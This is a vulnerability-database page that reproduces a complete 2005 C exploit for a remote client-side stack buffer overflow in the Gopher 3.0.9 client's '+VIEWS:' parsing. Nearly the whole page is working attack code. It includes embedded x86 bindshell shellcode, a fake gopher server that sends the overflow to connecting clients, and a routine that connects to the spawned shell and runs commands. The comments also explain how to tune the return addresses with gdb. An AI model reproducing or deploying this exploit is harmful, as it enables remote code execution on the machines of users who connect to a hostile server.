Lucene search
K

Gopher <= 3.0.9 (+VIEWS) Remote (Client Side) Buffer Overflow Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 28 Views

Remote buffer overflow exploit in Gopher v3.0.9+ (client side). Exploits +VIEWS processing overflow in gopher server, stack overflow for untrusted connections. Executable client available with unique system defines for exploit

Code

                                                /*[ gopher[v3.0.9+]: remote (client) buffer overflow exploit. ]
* 
* by: vade79/v9 [email protected] (fakehalo/realhalo)
* 
* compile: 
* gcc xgopher-client.c -o xgopher-client 
* 
* syntax: 
* ./xgopher-client &#60;port&#62; [bindshell port] 
* 
* The Internet Gopher Client is based on the UMN 
* Gopher/Gopherd 2.3.1 code. Gopher is an Internet technology 
* that predates the Web. It presents information as a virtual 
* network-wide filesystem. Modern browsers such as Konqueror 
* can display gopherspace as if it contained files on your 
* local machine (trees, drag and drop, etc.), but the 
* difference is that each file or folder in that tree may be 
* on a different machine. 
* 
* this client contains a remotely exploitable buffer overflow 
* in the processing of &#34;+VIEWS:&#34; information, located in 
* SRC/object/VIews.c in the VIfromLine() function. 
* 
* this is a stack overflow that can be exploited immediately 
* upon the client&#39;s connection to an untrusted gopher server. 
* while this is a stack overflow, exploitation of this 
* overflow is not completely standard, and special values 
* will be needed for it to work. (see the first three DEFINEs 
* below) 
* 
* i made this simply to be sure it was possible to exploit, 
* tested successfully on mandrake/9.2 with gopher/3.0.9 
* compiled from source. 
***************************************************************/
#include &#60;stdio.h&#62;
#include &#60;stdlib.h&#62;
#include &#60;string.h&#62;
#include &#60;strings.h&#62;
#include &#60;signal.h&#62;
#include &#60;unistd.h&#62;
#include &#60;netdb.h&#62;
#include &#60;sys/socket.h&#62;
#include &#60;sys/types.h&#62;
#include &#60;sys/time.h&#62;
#include &#60;netinet/in.h&#62;
#include &#60;arpa/inet.h&#62;

/* THE FOLLOWING THREE DEFINES WILL BE UNIQUE TO EACH SYSTEM. */

/* this needs to be replaced as a null-byte will overwrite it. this */
/* can be found in gdb using a trial-run of the exploit. */
/* (gdb) break VIfromLine */
/* Breakpoint 1 at 0x805c2e5: file VIews.c, line 231. */
/* (gdb) run server-running-this-exploit.com 70 */
/* ... */
/* Breakpoint 1, VIfromLine (vi=0x8074f08, ... */
/* -----------------------------^^^^^^^^^ */
/* ... */
#define REPLACE_VI_ADDR 0x08074f08

/* where the shellcode is located. you can use a trial-run to get */
/* this as well, run &#34;objdump -s &#60;core&#62; | grep 90909090&#34; on the */
/* core file, and choose something in the middle of all the */
/* 0xbfff???? addresses dumped. */
#define RET_ADDR 0xbfffe910

/* guess time; try between 0-12, not likely to be anything */
/* higher than that. */
#define PLACEMENT_OFFSET 7

/* FROM HERE ON THE DEFINES DO NOT NEED TO BE MODIFIED. */
#define BUFSIZE 500
#define DFL_BINDSHELL_PORT 7979
#define TIMEOUT 10

static char x86_exec[]= /* bindshell, from netric. */
&#34;\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66&#34;
&#34;\xcd\x80\x31\xd2\x52\x66\x68\xff\xff\x43\x66\x53\x89&#34;
&#34;\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\x40\x89&#34;
&#34;\x44\x24\x04\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c\x52&#34;
&#34;\x52\x43\xb0\x66\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80&#34;
&#34;\x41\x80\xf9\x03\x75\xf6\x52\x68\x6e\x2f\x73\x68\x68&#34;
&#34;\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd&#34;
&#34;\x80&#34;;

/* prototypes. */
unsigned char *getcode(void);
char *gopherd_bind(unsigned short);
void getshell(char *,unsigned short);
void printe(char *,short);
void sig_alarm(){printe(&#34;alarm/timeout hit.&#34;,1);}

/* begin. */
int main(int argc,char **argv){
unsigned short port=0,sport=DFL_BINDSHELL_PORT;
char *hostptr;
printf(&#34;[*] gopher[v3.0.9+]: remote (client) buffer overflow exp&#34;
&#34;loit.\n[*] by: vade79/v9 [email protected] (fakehalo/realhalo)\n\n&#34;);
if(argc&#60;2){
printf(&#34;[!] syntax: %s &#60;port&#62; [bindshell port]\n&#34;,argv[0]);
exit(1);
}
port=atoi(argv[1]);
if(argc&#62;2)sport=atoi(argv[2]);

/* set the port to bind to in the shellcode. */
x86_exec[20]=(sport&0xff00)&#62;&#62;8;
x86_exec[21]=(sport&0x00ff);

/* verbose values display. */
printf(&#34;[*] replacement \&#34;vi\&#34; address\t\t: 0x%.8x\n&#34;,REPLACE_VI_ADDR);
printf(&#34;[*] return address\t\t\t: 0x%.8x\n&#34;,RET_ADDR);
printf(&#34;[*] offset from the end of tmpstr[]\t: %d (=%d)\n&#34;,
PLACEMENT_OFFSET,PLACEMENT_OFFSET*4);
printf(&#34;[*] server port\t\t\t\t: %u\n&#34;,port);
printf(&#34;[*] bindshell port\t\t\t: %u\n\n&#34;,sport);

/* wait for a connection and send overflow. */
hostptr=gopherd_bind(port);

/* be safe, and give it time to run. */
sleep(3);

/* see if a shell spawned. */
getshell(hostptr,sport);

exit(0);
}
/* this is what fills the buffer that will be overflown. (tmpstr[256]) */
unsigned char *getcode(void){
unsigned char *buf;
if(!(buf=(unsigned char *)malloc(BUFSIZE+1)))
printe(&#34;getcode(): allocating memory failed.&#34;,1);

/* make everything nops, and overwrite where needed. */
memset(buf,0x90,BUFSIZE);

/* this gives more NOP/guessing room. if it hits before the addresses, */
/* it will jump over them to get to the shellcode. (jumps 8 bytes) */
buf[254+(PLACEMENT_OFFSET*4)]=0xeb; /* jump, */
buf[255+(PLACEMENT_OFFSET*4)]=0x08; /* 8. */

/* return address. */
*(long *)&buf[256+(PLACEMENT_OFFSET*4)]=RET_ADDR;

/* the replacement value will be right after the new return address. */
/* (this is needed because a null-byte will corrupt it, and fault */
/* where not desired) */
*(long *)&buf[260+(PLACEMENT_OFFSET*4)]=REPLACE_VI_ADDR;

/* add shellcode to the end of the buffer. */
memcpy(buf+BUFSIZE-strlen(x86_exec),x86_exec,strlen(x86_exec));
return(buf);
}
char *gopherd_bind(unsigned short port){
int ssock=0,sock=0,so=1;
unsigned int salen=0;
char pseudobuf[2];
struct sockaddr_in ssa,sa;
ssock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
setsockopt(ssock,SOL_SOCKET,SO_REUSEADDR,(void *)&so,sizeof(so));
#ifdef SO_REUSEPORT
setsockopt(ssock,SOL_SOCKET,SO_REUSEPORT,(void *)&so,sizeof(so));
#endif
ssa.sin_family=AF_INET;
ssa.sin_port=htons(port);
ssa.sin_addr.s_addr=INADDR_ANY;
printf(&#34;[*] awaiting connection from: *:%d.\n&#34;,port);
if(bind(ssock,(struct sockaddr *)&ssa,sizeof(ssa))==-1)
printe(&#34;could not bind socket.&#34;,1);
listen(ssock,1); 
bzero((char*)&sa,sizeof(struct sockaddr_in));
salen=sizeof(sa);
sock=accept(ssock,(struct sockaddr *)&sa,&salen);
close(ssock);
printf(&#34;[*] gopher server connection established.\n&#34;);

/* not really needed, but i feel better with it waiting for it. */
printf(&#34;[*] waiting for &#60;any&#62; request/data...\n&#34;);
read(sock,pseudobuf,1);
printf(&#34;[*] received request/data, sending overflow.\n&#34;);

/* setup the precursor to cause the overflow. */
write(sock,&#34;+-1\n&#34;,4);
write(sock,&#34;+INFO:\t0filler\tfiller\tfiller\tfiller\n&#34;,36);
write(sock,&#34;+VIEWS:\t\n &#34;,10);

/* the overflow. */
write(sock,getcode(),BUFSIZE);
write(sock,&#34;\n&#34;,1);

sleep(1);
close(sock);
printf(&#34;[*] gopher server connection closed.\n&#34;);
return(inet_ntoa(sa.sin_addr));
}
void getshell(char *hostname,unsigned short port){
int sock,r;
fd_set fds;
char buf[4096+1];
struct hostent *he;
struct sockaddr_in sa;
printf(&#34;[*] checking to see if the exploit was successful.\n&#34;);
if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
printe(&#34;getshell(): socket() failed.&#34;,1);
sa.sin_family=AF_INET;
if((sa.sin_addr.s_addr=inet_addr(hostname))){
if(!(he=gethostbyname(hostname)))
printe(&#34;getshell(): couldn&#39;t resolve.&#34;,1);
memcpy((char *)&sa.sin_addr,(char *)he-&#62;h_addr,
sizeof(sa.sin_addr));
}
sa.sin_port=htons(port);
signal(SIGALRM,sig_alarm);
alarm(TIMEOUT);
printf(&#34;[*] attempting to connect: %s:%d.\n&#34;,hostname,port);
if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))){
printf(&#34;[!] connection failed: %s:%d.\n&#34;,hostname,port);
return;
}
alarm(0);
printf(&#34;[*] successfully connected: %s:%d.\n\n&#34;,hostname,port);
signal(SIGINT,SIG_IGN);
write(sock,&#34;uname -a;id\n&#34;,13);
while(1){
FD_ZERO(&fds);
FD_SET(0,&fds);
FD_SET(sock,&fds);
if(select(sock+1,&fds,0,0,0)&#60;1)
printe(&#34;getshell(): select() failed.&#34;,1);
if(FD_ISSET(0,&fds)){
if((r=read(0,buf,4096))&#60;1)
printe(&#34;getshell(): read() failed.&#34;,1);
if(write(sock,buf,r)!=r)
printe(&#34;getshell(): write() failed.&#34;,1);
}
if(FD_ISSET(sock,&fds)){
if((r=read(sock,buf,4096))&#60;1)
exit(0);
write(1,buf,r);
}
}
close(sock);
return;
}
void printe(char *err,short e){
printf(&#34;[!] %s\n&#34;,err);
if(e)
exit(1);
return;
}

// milw0rm.com [2005-08-30]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation